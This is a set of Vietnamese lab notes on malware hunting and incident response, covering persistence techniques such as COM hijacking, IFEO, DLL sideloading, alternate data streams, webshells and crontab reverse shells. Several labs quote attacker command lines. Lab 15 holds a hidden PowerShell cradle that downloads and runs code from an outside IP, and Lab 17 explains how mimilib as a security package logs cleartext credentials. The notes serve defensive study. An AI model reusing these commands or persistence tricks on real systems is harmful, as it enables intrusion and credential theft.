Rà soát mã độc

Lab 1

C:\Users\hunter\AppData\Roaming\ELP84P\System~1.LNK không được verified tạo shortcut đến file độc hại system.exe

System.exe nàm dưới explorer

Có inject thread

Lab 2

Trong autorun, một servise của WinDefend được đăng ký nhưng không verified, và WinDefend cũng không hoạt động

Qua CIGui, phát hiện 2 dll not verified và đều độc hại qua VirusTotal check

Cả 2 đều được load trong process 3276

Về hidservs.dll, tên gốc là msiscsi.exe

Lab 3

COM gốc bị hijacking

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32

COM hijacking

HKCU\SOFTWARE\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 HKCR\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32

Qua Virustotal biết được file này là một PE độc hại

Lab 4

Command được mã hóa bằng base64, tham khảo bài viết, decode bằng CyberChef

Sử dụng tool PowerDecode, thu được plainScript

Phát hiện hành vi độc :

Lab 5

HKCU\Environment\UserInitMprLogonScript được sử dụng để chạy các script hoặc lệnh khi người dùng đăng nhập vào hệ thống.

khả năng cao OIS.EXE là Mimikatz, và dòng lệnh nhằm trích xuất thông tin đăng nhập từ lsass trong mem và thoát

Tìm thấy OIS.EXE trong System.exe

Lab 6

Lab 7

Phát hiện DLL lạ trong AppInit

VirusTotal check là độc

Unload sử dụng CheckInject.exe -unload <PID> <DLL full path>

Lab 8

Đương dân lạ của McAfee

c:\programdata\mcafee\mcafee.exe

Thư mục bị ẩn toàn bộ

Virustotal check được McUtil.dll là độc, khả năng là sideloading

Qua TCPView phát hiện một svchost.exe liên tục scan dải mạng bằng gói SYN

Và một svchost.exe lạ trong procexp có injection code

https://esc.vn/vncert-cong-bo-4-ma-doc-can-ngan-chan-khan-cap-sau-vu-vietnam-airlines-bi-hack/

Lab 9

powershell.exe -ExecutionPolicy Bypass -file C:\ProgramData\Microsoft\install.ps1 -WindowStyle Hidden

Nội dung file install.ps1

Giải mã sử dụng CyberChef và PowerDecode

Script cố gắng tải vào tệp 697.exe và thực thi

Lab 10

Phát hiện một giá trị IFEO lạ

rundll32.exe c:\windows\system32\config:conf.dll,inst

Đường dân gọi đến inst trong một file DLL ẩn trong phần config:conf.dll, sử dung ADS (Alternate Data Streams)

Virustotal check được c:\windows\system32\config:conf.dll là file độc

Chú ý timestamp

Ngoài ra phát hiện inject code

Các mã độc ẩn: C:\Windows\Temp\Vdump.exe

C:\Windows\System32\drivers\dump_roes.sys

Lấy mẫu https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f:

Get-Item c:\windows\system32\config | Get-Content -Stream conf.dll | Set-Content -Path config_conf.dll

Hoặc

expand C:\windows\system32\config:conf.dll C:\Users\Gee\Desktop\conf1.dll

Hoặc

$adsContent = Get-Content -Path "C:\windows\system32\config:conf.dll" -Raw -Encoding Byte [System.IO.File]::WriteAllBytes("C:\Users\Gee\Desktop\conf.dll", $adsContent)

Gỡ bỏ:

Remove-Item c:\windows\system32\config -Stream conf.dll

Lab 11

Phát hiện UltraViewService

Image Hijacking với IFEO: Khi người dùng mở sethc.exe được thay thế bằng cmd.exe, thường là nhấn Shift 5 lần, Command Prompt sẽ xuất hiệnquyền hệ thống (SYSTEM)

https://www.pandasecurity.com/en/mediacenter/sticky-attacks-when-the-operating-system-turns-against-you/

Lab 12

Một Network Provider được thêm vào HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

Có thể nhằm mục tiêu lấy thông tin xác thực của người dùng, tham khảo

bài viết khác

Lab 13

Phát hiện chương trình thực thi bất thường "C:\Program Files\PRTG Network Monitor\lsm.exe" trong HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 12/25/2020 11:16 AM

File thực thi được verify tuy nhiên nhưng phát hiện nó load một DLL không verify

Lab 14

Phát hiện Image Path C:\Windows\QcConsol.exe lạ trong các khóa registry nhạy cảm

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Command line: C:\Windows\QcConsol.exe -LowIntegrityServer

Trong thư mục nhạy cảm, phát hiện QcConsol.exe, QcLite.dll, stdole.tlb được ẩn

VirusTotal check QcLite.dll là độc hại, được đặt cùng thư mục với QcConsol.exe hợp lệ, khả năng là Dll sideload. Check inject code

Xóa registry key, kill QcConsol.exe, sau vài giây xuất hiện một QcConsol.exe khác nằm trong dllhst3gexe

Sau một khoảng thơi gian, dllhst3g.exe tự biến mất, một dllhst3g.exe khác tự sinh ra độc lập

Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run đã xóa đã được tạo lại

Chỉ kill dllhst3g.exe thì sau một lúc cũng xuất hiện trở lại

Lab 15

commandline: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://39.109.114.56:80/a'))

Lab 16

Detect Webshell

Webshell cho phép lấy thông tin và RCE

Task Scheduler thực thi mã độc

Lab 17

mimilib.dll được thêm vào khóa HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Dấu hiệu của Custom SSP

mimilib.dlltệp nhị phân do Mimikatz cung cấp. Khi đặt tệp vào C:\Windows\System32\ và

thêm mimilib.dll vào Security Support Provider list (Security Packages):

Sau khi khởi động lại tất cả thông tin xác thực có thể tìm thấy dạng cleartext tại C:\Windows\System32\kiwissp.log

Lab 18

Phát hiện Webshell

Form cho phép RCE

Task Scheduler bất thường: Commandline "C:\Windows\apppatch\NvSmart.exe"

NvSmart.exe là hợp lệ nhưng phát hiện nó load một dll not verified độc: NvSmartMax.dll

Lab 19

Phát hiện Webshell

Webshell cho phép upload file tùy ý

Phát hiện một Task Scheduler lạ chạy powershell khi logon

Thực thi

Decode Base64 phát hiện đây là một keylogger

tiến trình thực thi keylogger trên Procexp

Lab 20

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run với giá trị là file thực thi không có chữ ký C:\Users\hunter\AppData\Roaming\WPDNSE\svchost.exe

Syscheck ra kết quả là tệp sethc.exe không được ký

Linux checklist

Lab 21

Khi thực thi lệnh luôn để lại alert, khả năng LD_PRELOAD đã bị lạm dụng

Không thể cat, nhưng dùng vi có thể xem được nội dung

Phát hiện Rootkit Winnti

Thor Lite phát hiện webshell tại

/var/www/html/simple-php-website/css/404.php

/var/www/html/simple-php-website/css/template.php

Có thể tìm thấy mã nguồn tại github

Webshell cho phép kẻ tấn công kiểm soát hệ thống từ xa bằng cách thực hiện các lệnh hệ thống, tải lên tệp, duyệt thư mục, và thực hiện các truy vấn SQL

Lab 22

Dấu hiệu reverse shell qua Netcat

Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/js/app.jsp

Có thể tìm thấy webshell này trên github

Webshell này hoạt động như một proxy ngầm cho phép kẻ tấn công sử dụng máy chủ bị xâm nhập như một trạm trung gian để kết nối đến các hệ thống khác trong mạng nội bộ mà từ bên ngoài không thể truy cập trực tiếp

Lab 23

Khi SSH vào Server, xuất hiện hiển thị lạ

Khi ra soát, phát hiện /etc/bashrc được sửa đổi gần đây

Nội dung thêm vào:

Đoạn mã tải về thực thi một bash shell từ một nguồn không rõ bất kỳ khi nào người dùng mở một shell

Lab 24

Cứ một chốc lại nhận được thông báo trên terminal về mail

Khi cat nội dung thì biết nó được gửi từ cron daemon, thông báo lỗi về một tác vụ crontab

Khi rà soát có thể phát hiện command line trong /var/log/cmd.log

Đoạn mã này sẽ thêm một crontab chạy mỗi phút, tạo một revershell trên port 443

Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/PostThue.jsp

có thể tìm thấy webshell tại github

Last updated